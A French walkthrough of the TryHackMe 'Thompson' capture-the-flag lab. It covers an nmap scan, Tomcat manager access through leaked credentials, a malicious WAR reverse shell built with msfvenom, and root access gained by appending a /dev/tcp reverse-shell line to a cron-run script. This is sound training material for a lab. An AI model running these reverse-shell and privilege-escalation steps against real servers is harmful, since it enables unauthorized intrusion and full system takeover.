Thompson (Guatemala CTF)
Lien vers l’épreuve : https://tryhackme.com/r/room/bsidesgtthompson
Sommaire
- 1. Reconnaissance
- 2. Visite du site
- 3. Accès au serveur
- 4. Flag utilisateur
- 5. Élévation de privilèges
1. Reconnaissance
nmap -T4 -A 10.10.216.88
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-30 15:39 CEST
Nmap scan report for 10.10.216.88
Host is up (0.057s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA)
| 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA)
|_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519)
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp open http Apache Tomcat 8.5.5
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
L’analyse par le scanner NMAP nous montre que la machine héberge un serveur SSH sur le port 22 et un serveur Apache Tomcat sur le port 8080.
Commençons donc par analyser le site.
2. Visite du site
Nous arrivons sur la page par défaut d’un serveur Apache.
La tentative de connexion aux outils d’administration en utilisant des identifiants potentiels comme admin/admin ou tomcat/tomcat n’a pas fonctionné.
Lorsque nous annulons finalement l’authentification, nous arrivons sur une page d’erreur particulièrement verbeuse donnant des identifiants.
3. Accès au serveur
En navigant, nous arrivons sur une page permettant de déployer des fichiers au format WAR
En faisant une recherche sur la dépôt Github PayloadsAllTheThings, nous pouvons trouver une commande permettant de créer un fichier WAR malicieux permettant d’obtenir un reverse-shell :
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
Après avoir créé la charge avec les données correspondant à notre machine et avoir mis le port (le même qu’indiqué dans LPORT
) de notre machine en écoute avec Netcat, nous pouvons téléverser le fichier reverse.war
, puis cliquer sur le nouveau lien “reverse” qui vient d’apparaître sur l’interface.
Nous sommes à présent connecter au serveur.
nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.9.1.218] from (UNKNOWN) [10.10.216.88] 55446
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
4. Flag utilisateur
Améliorons le shell obtenu pour faciliter la navigation :
L’utilisateur dont nous devons trouver les identifiants est Jack.
ls -hAl /home
total 4.0K
drwxr-xr-x 4 jack jack 4.0K Aug 23 2019 jack
Les 3 derniers caractères r-x
indique que n’importe quel utilisateur peut lire ou se déplacer dans le répertoire de l’utilisateur. Mieux encore, le flag utilisateur est également lisible. Tout comme un script id.sh
qui est également exécutable par tout le monde.
ls -hl
total 12K
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
-rw-r--r-- 1 root root 39 Aug 30 07:26 test.txt
-rw-rw-r-- 1 jack jack 33 Aug 14 2019 user.txt
cat user.txt
39400c[...expurgé...]f181bf
5. Élévation de privilèges
L’analyse des autres fichiers présents dans le dossier personnel de Jack ne donne pas beaucoup d’informations. Le script permet d’écrire les informations d’un utilisateur dans le fichier test.txt
ls -hl
total 12K
-rwxrwxrwx 1 jack jack 26 Aug 14 2019 id.sh
-rw-r--r-- 1 root root 39 Aug 30 07:26 test.txt
-rw-rw-r-- 1 jack jack 33 Aug 14 2019 user.txt
cat id.sh
#!/bin/bash
id > test.txt
cat test.txt
uid=0(root) gid=0(root) groups=0(root)
Cependant, en relançant la commande ls -hl
un peu plus tard, nous observons que le fichier test.txt
a changé d’horodatage il est donc plus que probable qu’une tâche planifiée tourne sur la machine pour lancer le script id.sh :
-rw-r--r-- 1 root root 39 Aug 30 07:34 test.txt
En analysant le fichier /etc/crontab
nous pouvons constater qu’il y a bien un job tournant toutes les minutes, en tant que l’utilisateur root.
* * * * * root cd /home/jack && bash id.sh
En utilisant le site Revshells nous pouvons créer une commande à ajouter au fichier id.sh
pour obtenir un reverse-shell non plus en tant que “tomcat” mais cette fois “root”
echo 'sh -i >& /dev/tcp/10.0.0.1/9001 0>&1' >> id.sh
Mettons maintenant Netcat en attente sur le port 9001, et attendons le passage de la tâche programmée.
nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.9.1.218] from (UNKNOWN) [10.10.216.88] 44840
sh: 0: can't access tty; job control turned off
id
uid=0(root) gid=0(root) groups=0(root)
Maintenant que nous avons obtenu les droits root sur la machine, il ne reste plus qu’à lire le fichier /root/root.txt
cat root.txt
d89d53[...expurgé...]e7ca3a